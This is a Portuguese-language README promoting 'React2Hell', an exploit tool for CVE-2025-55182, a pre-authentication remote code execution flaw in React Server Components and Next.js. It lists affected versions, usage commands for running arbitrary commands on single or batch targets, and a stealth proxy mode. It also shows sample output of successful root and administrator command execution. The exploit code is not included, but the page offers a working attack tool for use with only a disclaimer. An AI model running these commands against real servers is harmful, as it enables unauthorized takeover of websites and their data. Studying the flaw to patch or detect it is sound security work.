🧨 React2Hell — Exploit CVE-2025-55182

🔥 Exploit de Execução Remota de Código (RCE) no Next.js / React Server

█████▄  ▄▄▄▄▄  ▄▄▄   ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ██  ██ ▄▄▄▄▄ ▄▄    ▄▄
██▄▄██▄ ██▄▄  ██▀██ ██▀▀▀   ██    ▄██▀ ██████ ██▄▄  ██    ██
██   ██ ██▄▄▄ ██▀██ ▀████   ██   ███▄▄ ██  ██ ██▄▄▄ ██▄▄▄ ██▄▄▄

 Next.js/React Server RCE Exploit — CVE-2025-55182
   Author: Chetanya Sharma (AggressiveUser)

════════════════════════════════════════════════════════════════════════
usage: new.py [-h] [-u URL] [-l LIST] -c COMMAND [--proxy PROXY] [--proxy-https PROXY_HTTPS]

🚀 Visão Geral

React2Hell é uma ferramenta de exploração poderosa projetada para testar e explorar CVE-2025-55182, uma vulnerabilidade crítica de Execução Remota de Código que afeta Next.js e React Server Actions.

Existe uma vulnerabilidade de execução remota de código pré-autenticação nas versões 19.0.0, 19.1.0, 19.1.1 e 19.2.0 dos React Server Components, incluindo os seguintes pacotes: react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack. O código vulnerável desserializa de forma insegura payloads de requisições HTTP para endpoints de Server Function.

✨ Funcionalidades

🧨 Execução Remota de Código (RCE)
🌐 Varredura de URL única / em lote
🧩 Execução de comando personalizado
🕵️‍♂️ Modo furtivo com suporte a proxy
⚡ Rápido, confiável e fácil de usar

📌 Uso

Modo Alvo Único

python exploit.py -u https://target.com -c "whoami"

Múltiplos Alvos (a partir de arquivo)

python exploit.py -l urls.txt -c "whoami"

Com Proxy HTTP (Burp Suite)

python exploit.py -u https://target.com -c "whoami" --proxy 127.0.0.1:8080

Com Proxy HTTPS

python exploit.py -u https://target.com -c "whoami" --proxy-https 127.0.0.1:8080

📁 Exemplo de urls.txt

http://site1.com
https://site2.com
http://192.168.1.10:3000

🖥️ Exemplo de Saída

PS D:\AggressiveUser_PVT\React2Hell> python.exe .\exploit.py -l .\list.txt -c whoami


█████▄  ▄▄▄▄▄  ▄▄▄   ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ██  ██ ▄▄▄▄▄ ▄▄    ▄▄
██▄▄██▄ ██▄▄  ██▀██ ██▀▀▀   ██    ▄██▀ ██████ ██▄▄  ██    ██
██   ██ ██▄▄▄ ██▀██ ▀████   ██   ███▄▄ ██  ██ ██▄▄▄ ██▄▄▄ ██▄▄▄

 Next.js/React Server RCE Exploit — CVE-2025-55182
   Author: Chetanya Sharma (AggressiveUser)

════════════════════════════════════════════════════════════════════════
[+] Loaded 3 targets
════════════════════════════════════════════════════════════════════════

[→] Target: http://meow.host:3113/
[→] Exec:   whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
root
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────

[→] Target: http://evil.lab:2000/
[→] Exec:   whoami
[✗] Not vulnerable — Status: 200
────────────────────────────────────────────────────────────────────────

[→] Target: https://vul.lab:3000/
[→] Exec:   whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
win-1fl835ovldc\\administrator
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[✓] Scan complete — Vulnerable: 2
PS D:\AggressiveUser_PVT\React2Hell>

⚠️ Aviso Legal

Esta ferramenta foi criada estritamente para fins educacionais e de pesquisa em segurança. NÃO a utilize em sistemas sem autorização explícita. Você é responsável por suas próprias ações.

⭐ Apoie o Projeto

Se este exploit ajudou você, considere deixar uma ⭐ no GitHub ❤️

👤 Autor

Chetanya Sharma AggressiveUser

Feito com 🔥 por alguém que gosta de quebrar e consertar coisas.

React2Hell

Mais Populares